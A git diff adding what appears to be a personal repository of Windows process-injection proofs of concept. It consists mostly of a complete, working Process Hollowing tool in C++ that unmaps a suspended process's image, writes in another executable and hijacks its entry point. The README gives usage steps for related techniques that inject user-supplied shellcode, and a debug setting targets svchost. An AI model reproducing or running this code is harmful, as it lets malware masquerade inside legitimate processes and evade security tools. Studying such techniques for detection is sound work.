+MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ProcessHollowing", "ProcessHollowing\ProcessHollowing.vcxproj", "{6279F633-2362-4ED6-B993-F8EF51E3DF6E}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {6279F633-2362-4ED6-B993-F8EF51E3DF6E}.Debug|x64.ActiveCfg = Debug|x64 + {6279F633-2362-4ED6-B993-F8EF51E3DF6E}.Debug|x64.Build.0 = Debug|x64 + {6279F633-2362-4ED6-B993-F8EF51E3DF6E}.Debug|x86.ActiveCfg = Debug|Win32 + {6279F633-2362-4ED6-B993-F8EF51E3DF6E}.Debug|x86.Build.0 = Debug|Win32 + {6279F633-2362-4ED6-B993-F8EF51E3DF6E}.Release|x64.ActiveCfg = Release|x64 + {6279F633-2362-4ED6-B993-F8EF51E3DF6E}.Release|x64.Build.0 = Release|x64 + {6279F633-2362-4ED6-B993-F8EF51E3DF6E}.Release|x86.ActiveCfg = Release|Win32 + {6279F633-2362-4ED6-B993-F8EF51E3DF6E}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/ProcessHollowing/ProcessHollowing/ProcessHollowing.cpp b/ProcessHollowing/ProcessHollowing/ProcessHollowing.cpp new file mode 100755 index 0000000..c9ed060 --- /dev/null +++ b/ProcessHollowing/ProcessHollowing/ProcessHollowing.cpp @@ -0,0 +1,397 @@ +/* +Sources: +https://github.com/idan1288/ProcessHollowing32-64 +https://github.com/m0n0ph1/Process-Hollowing +https://blog.kwiatkowski.fr/?q=en/process_hollowing +http://www.rohitab.com/discuss/topic/41529-stealthier-process-hollowing-code/ +*/ + +#include "stdafx.h" +#include +#include +#include +#include "general.h" + + +#define CountRelocationEntries(dwBlockSize) (dwBlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY) + +typedef NTSTATUS(WINAPI *prototype_NtUnmapViewOfSection)( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress + ); + +typedef struct BASE_RELOCATION_BLOCK { + DWORD PageAddress; + DWORD BlockSize; +} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK; + +typedef struct BASE_RELOCATION_ENTRY { + USHORT Offset : 12; + USHORT Type : 4; + +} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY; + +int main(int argc, char* argv[]) +{ + + if (argc != 3) + { + printf("Usage: processhollowing.exe [target binary] [to be run binary]\r\n"); + return -1; + } + + printf("[*] Creating process in suspended state\r\n"); + + /* Creating process that we will inject into */ + LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); + LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); + + CreateProcessA(0, argv[1], 0, 0, 0, CREATE_SUSPENDED, 0, 0, pStartupInfo, pProcessInfo); + + if (!pProcessInfo->hProcess) + { + ErrorExit(TEXT("CreateProcessA")); + } + + printf("[+] Create process successful!\r\n"); + + printf("[+] Read the executable to be loaded.\r\n"); + + /* Opening and reading file that we will inject */ + HANDLE hFile; + hFile = CreateFileA(argv[2], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + + if (hFile == INVALID_HANDLE_VALUE) + { + TerminateProcess(pProcessInfo->hProcess, -1); + ErrorExit(TEXT("CreateFileA")); + } + + DWORD dwFileSize; + dwFileSize = GetFileSize(hFile, NULL); + + PVOID lpFileBuffer; + lpFileBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + + if (!ReadFile(hFile, lpFileBuffer, dwFileSize, NULL, NULL)) + { + TerminateProcess(pProcessInfo->hProcess, 1); + ErrorExit(TEXT("ReadFile")); + } + + CloseHandle(hFile); + + PIMAGE_DOS_HEADER pImageDosHeader; + PIMAGE_NT_HEADERS pImageNTHeader; + PIMAGE_SECTION_HEADER pImageSectionHeader; + + pImageDosHeader = (PIMAGE_DOS_HEADER)lpFileBuffer; + + // Check if the file is really an executable + if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) //IMAGE_DOS_SIGNATURE = MZ + { + TerminateProcess(pProcessInfo->hProcess, -1); + printf("[-] The file is not an executable, no MZ header found\r\n"); + ExitProcess(-1); + } + + // Get the address of the IMAGE_NT_HEADERS + pImageNTHeader = (PIMAGE_NT_HEADERS)((LPBYTE)lpFileBuffer + pImageDosHeader->e_lfanew); + LPCONTEXT lpContext = new CONTEXT(); + lpContext->ContextFlags = CONTEXT_INTEGER; + + // Get the thread context of the child process's primary thread + GetThreadContext(pProcessInfo->hThread, lpContext); + + // Get the PEB address from the ebx register and read the base address of the executable image from the PEB + LPVOID lpProcessImageBaseAddress; + + +#ifdef _WIN64 + if (pImageNTHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) + { + printf("[-] The executable is 32 bit, please use the 32 bit ProcessHollowing binary\r\n"); + TerminateProcess(pProcessInfo->hProcess, -1); + ExitProcess(-1); + } + ReadProcessMemory(pProcessInfo->hProcess, (PVOID)(lpContext->Rdx + (sizeof(SIZE_T) * 2)), &lpProcessImageBaseAddress, sizeof(lpProcessImageBaseAddress), NULL); +#endif + +#ifdef _X86_ + if (pImageNTHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) + { + printf("[-] The executable is 64 bit, please use the 64 bit ProcessHollowing binary\r\n"); + TerminateProcess(pProcessInfo->hProcess, -1); + ExitProcess(-1); + } + ReadProcessMemory(pProcessInfo->hProcess, (PVOID)(lpContext->Ebx + 8), &lpProcessImageBaseAddress, sizeof(lpProcessImageBaseAddress), NULL); +#endif + + printf("[*] Base address of child process: 0x%Ix\n", (SIZE_T)lpProcessImageBaseAddress); + + /* check if image can be relocated and load the file to memory */ + LPVOID lpNewImageBaseAddress = NULL; + IMAGE_DATA_DIRECTORY relocData = pImageNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + if(!(pImageNTHeader->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED) && relocData.VirtualAddress!=0 && relocData.Size!=0) + { + // Try to unmap the original executable from the child process. + printf("[*] Unmapping original executable image from child process\n"); + prototype_NtUnmapViewOfSection pfnNtUnmapViewOfSection = NULL; + GetFunctionAddressFromDll("ntdll.dll", "NtUnmapViewOfSection", (PVOID *)&pfnNtUnmapViewOfSection); + if (!pfnNtUnmapViewOfSection(pProcessInfo->hProcess, lpProcessImageBaseAddress)) + { + printf("[i] Process is relocatable\r\n"); + printf("[*] Unallocation successful, allocating memory in child process in the same location.\r\n"); + // Allocate memory for the executable image, try on the same memory as the current process + lpNewImageBaseAddress = VirtualAllocEx(pProcessInfo->hProcess, lpProcessImageBaseAddress, pImageNTHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (!lpNewImageBaseAddress) + { + TerminateProcess(pProcessInfo->hProcess, -1); + ErrorExit(TEXT("VirtualAllocEx")); + } + } + else + { + //if the previous failed try to load it to a new location + printf("[*] Trying to allocate new memory space\r\n"); + lpNewImageBaseAddress = VirtualAllocEx(pProcessInfo->hProcess, NULL, pImageNTHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (!lpNewImageBaseAddress) + { + TerminateProcess(pProcessInfo->hProcess, -1); + ErrorExit(TEXT("VirtualAllocEx")); + } + } + printf("[+] Memory allocated. Address: 0x%Ix\r\n", (SIZE_T)lpNewImageBaseAddress); + } + else + { + printf("[i] Process is not relocatable, trying to allocate region\r\n"); + lpNewImageBaseAddress = VirtualAllocEx(pProcessInfo->hProcess, (PVOID)(pImageNTHeader->OptionalHeader.ImageBase), pImageNTHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (!lpNewImageBaseAddress) + { + printf("[*] Memory seem to be used, trying to unmap memory region where the image should be loaded: 0x%Ix\r\n", pImageNTHeader->OptionalHeader.ImageBase); //in case there is something mapped + prototype_NtUnmapViewOfSection pfnNtUnmapViewOfSection = NULL; + GetFunctionAddressFromDll("ntdll.dll", "NtUnmapViewOfSection", (PVOID *)&pfnNtUnmapViewOfSection); + if (!pfnNtUnmapViewOfSection(pProcessInfo->hProcess, (PVOID)(pImageNTHeader->OptionalHeader.ImageBase))) + { + printf("[*] Unallocation successful, allocating memory in child process in the same location.\r\n"); + // Allocate memory for the executable image + lpNewImageBaseAddress = VirtualAllocEx(pProcessInfo->hProcess, (PVOID)(pImageNTHeader->OptionalHeader.ImageBase), pImageNTHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (!lpNewImageBaseAddress) + { + TerminateProcess(pProcessInfo->hProcess, -1); + ErrorExit(TEXT("VirtualAllocEx")); + } + printf("[+] Memory allocated. Address: 0x%Ix\r\n", (SIZE_T)lpNewImageBaseAddress); + } + else + { + // couldn't unmap the memory region where the image should be loaded + TerminateProcess(pProcessInfo->hProcess, -1); + ErrorExit(TEXT("pfnNtUnmapViewOfSection")); + } + } + } + + // offset between the the original ImageBase found in the file and the location loaded in the memory + SIZE_T dwDelta = (SIZE_T)lpNewImageBaseAddress - pImageNTHeader->OptionalHeader.ImageBase; + + // Overwrite ImageBase value in the original file in memory + pImageNTHeader->OptionalHeader.ImageBase = (SIZE_T)lpNewImageBaseAddress; + printf("[*] Writing executable image into child process.\r\n"); + + // Write the PE header of the executable file to the process + if (!WriteProcessMemory(pProcessInfo->hProcess, lpNewImageBaseAddress, lpFileBuffer, pImageNTHeader->OptionalHeader.SizeOfHeaders, NULL)) + { + TerminateProcess(pProcessInfo->hProcess, -1); + ErrorExit(TEXT("WriteProcessMemory")); + } + + // Write the remaining sections of the executable file to the process + for (int i = 0; iFileHeader.NumberOfSections; i++) + { + pImageSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)lpFileBuffer + pImageDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); + printf("[*] Writing %s to 0x%Ix\r\n", pImageSectionHeader->Name, (SIZE_T)((LPBYTE)lpNewImageBaseAddress + pImageSectionHeader->VirtualAddress)); + if (!WriteProcessMemory(pProcessInfo->hProcess, (PVOID)((LPBYTE)lpNewImageBaseAddress + pImageSectionHeader->VirtualAddress), (PVOID)((LPBYTE)lpFileBuffer + pImageSectionHeader->PointerToRawData), pImageSectionHeader->SizeOfRawData, NULL)) + { + TerminateProcess(pProcessInfo->hProcess, -1); + ErrorExit(TEXT("WriteProcessMemory")); + } + } + + /* Reloaction of VAs */ + if (dwDelta != 0) //only if needed + { + for (int x = 0; x < pImageNTHeader->FileHeader.NumberOfSections; x++) + { + // find .reloc section + char* pSectionName = ".reloc"; + pImageSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)lpFileBuffer + pImageDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (x * sizeof(IMAGE_SECTION_HEADER))); + if (memcmp(pImageSectionHeader->Name, pSectionName, strlen(pSectionName))) + continue; + + printf("[*] Rebasing image\r\n"); + + DWORD dwRelocSectionRawData = pImageSectionHeader->PointerToRawData; + DWORD dwOffsetInRelocSection = 0; + + IMAGE_DATA_DIRECTORY relocData = pImageNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + + // parse reloaction data + while (dwOffsetInRelocSection < relocData.Size) + { + PBASE_RELOCATION_BLOCK pBlockheader = (PBASE_RELOCATION_BLOCK)((SIZE_T)lpFileBuffer + dwRelocSectionRawData + dwOffsetInRelocSection); + + dwOffsetInRelocSection += sizeof(BASE_RELOCATION_BLOCK); + + DWORD dwEntryCount = CountRelocationEntries(pBlockheader->BlockSize); + + PBASE_RELOCATION_ENTRY pBlocks = (PBASE_RELOCATION_ENTRY)((SIZE_T)lpFileBuffer + dwRelocSectionRawData + dwOffsetInRelocSection); + + for (DWORD y = 0; y < dwEntryCount; y++) + { + dwOffsetInRelocSection += sizeof(BASE_RELOCATION_ENTRY); + + if (pBlocks[y].Type == 0) + continue; + + SIZE_T dwFieldAddress = pBlockheader->PageAddress + pBlocks[y].Offset; + + //printf("[*] Reading from 0x%p\r\n", (PVOID)((SIZE_T)lpNewImageBaseAddress + dwFieldAddress)); + SIZE_T dwBuffer = 0; + if (!ReadProcessMemory(pProcessInfo->hProcess, (PVOID)((SIZE_T)lpNewImageBaseAddress + dwFieldAddress), &dwBuffer, sizeof(SIZE_T), 0)) + { + TerminateProcess(pProcessInfo->hProcess, -1); + ErrorExit(TEXT("ReadProcessMemory")); + } + + //printf("[*] Relocating 0x%p -> 0x%p\r\n", dwBuffer, dwBuffer + dwDelta); + + dwBuffer += dwDelta; + //printf("[*] Writing 0x%p to 0x%p\r\n", dwBuffer, (PVOID)((SIZE_T)lpNewImageBaseAddress + dwFieldAddress)); + if (!WriteProcessMemory(pProcessInfo->hProcess, (PVOID)((SIZE_T)lpNewImageBaseAddress + dwFieldAddress), &dwBuffer, sizeof(SIZE_T), NULL)) + { + TerminateProcess(pProcessInfo->hProcess, -1); + ErrorExit(TEXT("WriteProcessMemory")); + } + } + } + } + } + + /* Fix memory protection, pages shouldn't be RWX */ + + printf("[*] Restoring memory page protections\r\n"); + // protect the PE headers, set as RO + DWORD lpflOldProtect = 0; + if (!VirtualProtectEx(pProcessInfo->hProcess, lpNewImageBaseAddress, pImageNTHeader->OptionalHeader.SizeOfHeaders, PAGE_READONLY, &lpflOldProtect)) + { + TerminateProcess(pProcessInfo->hProcess, -1); + ErrorExit(TEXT("VirtualProtectEx")); + } + + // protect the image sections + for (int i = 0; iFileHeader.NumberOfSections; i++) + { + pImageSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)lpFileBuffer + pImageDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); + printf("[*] Restoring memory protection for %s\r\n", pImageSectionHeader->Name); + DWORD flNewProtect = 0; + if ((pImageSectionHeader->Characteristics) & IMAGE_SCN_MEM_EXECUTE) //executable + { + if ((pImageSectionHeader->Characteristics) & IMAGE_SCN_MEM_READ) //executable, readable + { + if ((pImageSectionHeader->Characteristics) & IMAGE_SCN_MEM_WRITE) //executable, readable, writeable + { + flNewProtect = PAGE_EXECUTE_READWRITE; + } + else //executable, readable, not writeable + { + flNewProtect = PAGE_EXECUTE_READ; + } + } + else // executable, not readable + { + if ((pImageSectionHeader->Characteristics) & IMAGE_SCN_MEM_WRITE) // executable, not readable, writable + { + flNewProtect = PAGE_EXECUTE_WRITECOPY; + } + else // executable, not readable, not writable + { + flNewProtect = PAGE_EXECUTE; + } + } + } + else + { + if ((pImageSectionHeader->Characteristics) & IMAGE_SCN_MEM_READ) //not executable, readable + { + if ((pImageSectionHeader->Characteristics) & IMAGE_SCN_MEM_WRITE) //not executable, readable, writeable + { + flNewProtect = PAGE_READWRITE; + } + else //not executable, readable, not writeable + { + flNewProtect = PAGE_READONLY; + } + } + else // not executable, not readable + { + if ((pImageSectionHeader->Characteristics) & IMAGE_SCN_MEM_WRITE) // not executable, not readable, writable + { + flNewProtect = PAGE_WRITECOPY; + } + else // not executable, not readable, not writable + { + flNewProtect = PAGE_NOACCESS; + } + } + } + if ((pImageSectionHeader->Characteristics) & IMAGE_SCN_MEM_NOT_CACHED) + { + flNewProtect |= PAGE_NOCACHE; + } + if (!VirtualProtectEx(pProcessInfo->hProcess, (PVOID)((LPBYTE)lpNewImageBaseAddress + pImageSectionHeader->VirtualAddress), pImageSectionHeader->SizeOfRawData, flNewProtect, &lpflOldProtect)) + { + printf("[-] Couldn't restore memory protection for %s, but going on...\r\n", pImageSectionHeader->Name); + } + } + +#ifdef _WIN64 + lpContext->Rcx = (SIZE_T)((LPBYTE)lpNewImageBaseAddress + pImageNTHeader->OptionalHeader.AddressOfEntryPoint); + printf("[+] New entry point: 0x%Ix\r\n", lpContext->Rcx); + printf("[*] Updating PEB->ImageBase\r\n"); + if(!WriteProcessMemory(pProcessInfo->hProcess, (PVOID)(lpContext->Rdx + (sizeof(SIZE_T) * 2)), &lpNewImageBaseAddress, sizeof(lpNewImageBaseAddress), NULL)) + { + TerminateProcess(pProcessInfo->hProcess, -1); + ErrorExit(TEXT("WriteProcessMemory")); + } +#endif + +#ifdef _X86_ + lpContext->Eax = (SIZE_T)((LPBYTE)lpNewImageBaseAddress + pImageNTHeader->OptionalHeader.AddressOfEntryPoint); + printf("[+] New entry point: 0x%Ix\r\n", lpContext->Eax); + printf("[*] Updating PEB->ImageBase\r\n"); + if (!WriteProcessMemory(pProcessInfo->hProcess, (PVOID)(lpContext->Ebx + 8), &lpNewImageBaseAddress, sizeof(lpNewImageBaseAddress), NULL)) + { + TerminateProcess(pProcessInfo->hProcess, -1); + ErrorExit(TEXT("WriteProcessMemory")); + } +#endif + + printf("[*] Setting the context of the child process's primary thread.\r\n"); +// system("pause"); + + if (!SetThreadContext(pProcessInfo->hThread, lpContext)) // Set the thread context of the child process's primary thread + { + TerminateProcess(pProcessInfo->hProcess, -1); + ErrorExit(TEXT("SetThreadContext")); + } + printf("[*] Resuming child process's primary thread.\r\n"); + + ResumeThread(pProcessInfo->hThread); // Resume the primary thread + + printf("[*] Thread resumed.\r\n"); + + return 0; +} + diff --git a/ProcessHollowing/ProcessHollowing/ProcessHollowing.vcxproj b/ProcessHollowing/ProcessHollowing/ProcessHollowing.vcxproj new file mode 100755 index 0000000..30a6765 --- /dev/null +++ b/ProcessHollowing/ProcessHollowing/ProcessHollowing.vcxproj @@ -0,0 +1,159 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {6279F633-2362-4ED6-B993-F8EF51E3DF6E} + Win32Proj + ProcessHollowing + 10.0.14393.0 + ProcessHollowing2 + + + + Application + true + v141 + Unicode + + + Application + false + v141 + true + Unicode + + + Application + true + v141 + Unicode + + + Application + false + v141 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + + + + + Use + Level3 + Disabled + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + + + + + Level3 + Use + MaxSpeed + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + + + + + + + + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/ProcessHollowing/ProcessHollowing/ProcessHollowing.vcxproj.filters b/ProcessHollowing/ProcessHollowing/ProcessHollowing.vcxproj.filters new file mode 100755 index 0000000..c3b4b2c --- /dev/null +++ b/ProcessHollowing/ProcessHollowing/ProcessHollowing.vcxproj.filters @@ -0,0 +1,42 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/ProcessHollowing/ProcessHollowing/ProcessHollowing.vcxproj.user b/ProcessHollowing/ProcessHollowing/ProcessHollowing.vcxproj.user new file mode 100755 index 0000000..caa5866 --- /dev/null +++ b/ProcessHollowing/ProcessHollowing/ProcessHollowing.vcxproj.user @@ -0,0 +1,19 @@ + + + + svchost c:\Users\CFITZL\Downloads\xomlogx86.exe + WindowsLocalDebugger + + + svchost c:\Users\CFITZL\Downloads\xomlogx86.exe + WindowsLocalDebugger + + + svchost c:\Users\CFITZL\Downloads\xomlogx86.exe + WindowsLocalDebugger + + + svchost c:\Users\CFITZL\Downloads\xomlogx86.exe + WindowsLocalDebugger + + \ No newline at end of file diff --git a/ProcessHollowing/ProcessHollowing/ReadMe.txt b/ProcessHollowing/ProcessHollowing/ReadMe.txt new file mode 100755 index 0000000..6c77bcf --- /dev/null +++ b/ProcessHollowing/ProcessHollowing/ReadMe.txt @@ -0,0 +1,40 @@ +======================================================================== + CONSOLE APPLICATION : ProcessHollowing Project Overview +======================================================================== + +AppWizard has created this ProcessHollowing application for you. + +This file contains a summary of what you will find in each of the files that +make up your ProcessHollowing application. + + +ProcessHollowing.vcxproj + This is the main project file for VC++ projects generated using an Application Wizard. + It contains information about the version of Visual C++ that generated the file, and + information about the platforms, configurations, and project features selected with the + Application Wizard. + +ProcessHollowing.vcxproj.filters + This is the filters file for VC++ projects generated using an Application Wizard. + It contains information about the association between the files in your project + and the filters. This association is used in the IDE to show grouping of files with + similar extensions under a specific node (for e.g. ".cpp" files are associated with the + "Source Files" filter). + +ProcessHollowing.cpp + This is the main application source file. + +///////////////////////////////////////////////////////////////////////////// +Other standard files: + +StdAfx.h, StdAfx.cpp + These files are used to build a precompiled header (PCH) file + named ProcessHollowing.pch and a precompiled types file named StdAfx.obj. + +///////////////////////////////////////////////////////////////////////////// +Other notes: + +AppWizard uses "TODO:" comments to indicate parts of the source code you +should add to or customize. + +///////////////////////////////////////////////////////////////////////////// diff --git a/ProcessHollowing/ProcessHollowing/general.cpp b/ProcessHollowing/ProcessHollowing/general.cpp new file mode 100755 index 0000000..1a41ed5 --- /dev/null +++ b/ProcessHollowing/ProcessHollowing/general.cpp @@ -0,0 +1,83 @@ +#include "stdafx.h" +#include +#include +#include +#include + +#define STATUS_SUCCESS 0 +#define STATUS_FAIL -1 + +//source: https://msdn.microsoft.com/en-us/library/windows/desktop/ms680582(v=vs.85).aspx +void ErrorExit(LPTSTR lpszFunction) +{ + // Retrieve the system error message for the last-error code + LPVOID lpMsgBuf; + DWORD dw = GetLastError(); + + FormatMessage( + FORMAT_MESSAGE_ALLOCATE_BUFFER | + FORMAT_MESSAGE_FROM_SYSTEM | + FORMAT_MESSAGE_IGNORE_INSERTS, + NULL, + dw, + MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), + (LPTSTR)&lpMsgBuf, + 0, NULL); + + // Display the error message and exit the process + wprintf(L"[-] %s failed with error 0x%x: %s", lpszFunction, dw, lpMsgBuf); + + LocalFree(lpMsgBuf); + ExitProcess(dw); +} + +DWORD FindPIDByName(LPWSTR pName) +{ + PROCESSENTRY32 pEntry; + pEntry.dwSize = sizeof(PROCESSENTRY32); + + HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); + if ((DWORD)snapshot < 1) + { + ErrorExit(TEXT("CreateToolhelp32Snapshot")); + } + if (Process32First(snapshot, &pEntry) == TRUE) + { + while (Process32Next(snapshot, &pEntry) == TRUE) + { + if (NULL != wcsstr(pEntry.szExeFile, pName)) + { + return pEntry.th32ProcessID; + } + } + ErrorExit(TEXT("Process32Next")); + } + else + { + ErrorExit(TEXT("Process32First")); + } + + CloseHandle(snapshot); + return 0; +} + +int GetFunctionAddressFromDll(PSTR pszDllName, PSTR pszFunctionName, PVOID *ppvFunctionAddress) +{ + HMODULE hModule = NULL; + PVOID pvFunctionAddress = NULL; + + hModule = GetModuleHandleA(pszDllName); + if (NULL == hModule) + { + ErrorExit(TEXT("GetModuleHandleA")); + } + + pvFunctionAddress = GetProcAddress(hModule, pszFunctionName); + if (NULL == pvFunctionAddress) + { + ErrorExit(TEXT("GetProcAddress")); + } + + *ppvFunctionAddress = pvFunctionAddress; + return STATUS_SUCCESS; +} \ No newline at end of file diff --git a/ProcessHollowing/ProcessHollowing/general.h b/ProcessHollowing/ProcessHollowing/general.h new file mode 100755 index 0000000..e32a22d --- /dev/null +++ b/ProcessHollowing/ProcessHollowing/general.h @@ -0,0 +1,10 @@ +#pragma once +#include +DWORD FindPIDByName(LPWSTR pName); + +void ErrorExit(LPTSTR lpszFunction); + +int GetFunctionAddressFromDll(PSTR pszDllName, PSTR pszFunctionName, PVOID *ppvFunctionAddress); + +#define STATUS_SUCCESS 0 +#define STATUS_FAIL -1 diff --git a/ProcessHollowing/ProcessHollowing/stdafx.cpp b/ProcessHollowing/ProcessHollowing/stdafx.cpp new file mode 100755 index 0000000..1da0d11 --- /dev/null +++ b/ProcessHollowing/ProcessHollowing/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// ProcessHollowing.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/ProcessHollowing/ProcessHollowing/stdafx.h b/ProcessHollowing/ProcessHollowing/stdafx.h new file mode 100755 index 0000000..47a0d02 --- /dev/null +++ b/ProcessHollowing/ProcessHollowing/stdafx.h @@ -0,0 +1,15 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#include +#include + + + +// TODO: reference additional headers your program requires here diff --git a/ProcessHollowing/ProcessHollowing/targetver.h b/ProcessHollowing/ProcessHollowing/targetver.h new file mode 100755 index 0000000..90e767b --- /dev/null +++ b/ProcessHollowing/ProcessHollowing/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/README.md b/README.md new file mode 100644 index 0000000..8b4b47b --- /dev/null +++ b/README.md @@ -0,0 +1,52 @@ +# Injection techniques +I created this repo during my journey in learning more about the various process injection techniques. I did reuse other’s code, but tried to improve on them or modify them to our need and better reading. The source should be indicated in the code. +All of them were created with Visual Studio 2017. + +## EarlyBird injection +This is a POC for the EarlyBird injection technique as named by Cyberbit. More details here: +[Hackers Found Using A New Code Injection Technique to Evade Detection](https://thehackernews.com/2018/04/early-bird-code-injection.html) + +Use: +1. Put the shellcode of your choice to the source file (the included one will pop cmd.exe) +2. Recompile +3. Run: EarlyBird.exe [any x64 binary] + +## CtrlInject injection +This is a POC for the CtrlInjection found by enSilo: +[Ctrl-Inject](https://blog.ensilo.com/ctrl-inject) + +Use: +1. Put the shellcode of your choice to the source file (the included one will pop calc) +2. Recompile +3. Run: EarlyBird.exe [PID of x64 Console Application which has a non default HandlerList (e.g.: cmd.exe)] + +## Inject DLL - DLL injection +This is a POC for the DLL injection described here (and many other places): +[Ten Process Injection Techniques: A Technical Survey of Common and Trending Process Injection Techniques | Endgame](https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process) +Usa +Run: injectdll.exe [process name] [dll path] [option number] +option 1 - CreateRemoteThread +option 2 - NtCreateThreadEx +option 3 - RtlCreateUserThread + +## Inject PE - PE injection +This is a POC for the PE injection described here (and many other places): +[Ten Process Injection Techniques: A Technical Survey of Common and Trending Process Injection Techniques | Endgame](https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process) +Use: +1. Update the entryThread function as you want - that will be executed in the target +2. Run: injectpe.exe [target process] + +## Process Hollowing +This is a POC for the Process Hollowing injection described here (and many other places): +[Ten Process Injection Techniques: A Technical Survey of Common and Trending Process Injection Techniques | Endgame](https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process) +Works quite reliably in x86 and x64 as well, there are plenty of error checks to avoid failures. +Use: +1. Run: processhollowing.exe [target binary] [to be run binary] + +## Thread Execution Hijacking +This is a POC for the Thread Execution Hijacking described here (and many other places): +[Ten Process Injection Techniques: A Technical Survey of Common and Trending Process Injection Techniques | Endgame](https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process) +Opposite to other POCs available, this version will inject a shell code to the target process (and not a DLL name) and will get the target to Create a thread in itself. +Use: +1. Put your shell code into scx86 and scx64 accordingly. +2. Run: threadexecutionhijack.exe [process name] diff --git a/ThreadExecutionHijack/ThreadExecutionHijack.sln b/ThreadExecutionHijack/ThreadExecutionHijack.sln new file mode 100755 index 0000000..1a34597 --- /dev/null +++ b/ThreadExecutionHijack/ThreadExecutionHijack.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.26430.12 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ThreadExecutionHijack", "ThreadExecutionHijack\ThreadExecutionHijack.vcxproj", "{57702FE8-7870-43C2-87E2-C0008368A742}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {57702FE8-7870-43C2-87E2-C0008368A742}.Debug|x64.ActiveCfg = Debug|x64 + {57702FE8-7870-43C2-87E2-C0008368A742}.Debug|x64.Build.0 = Debug|x64 + 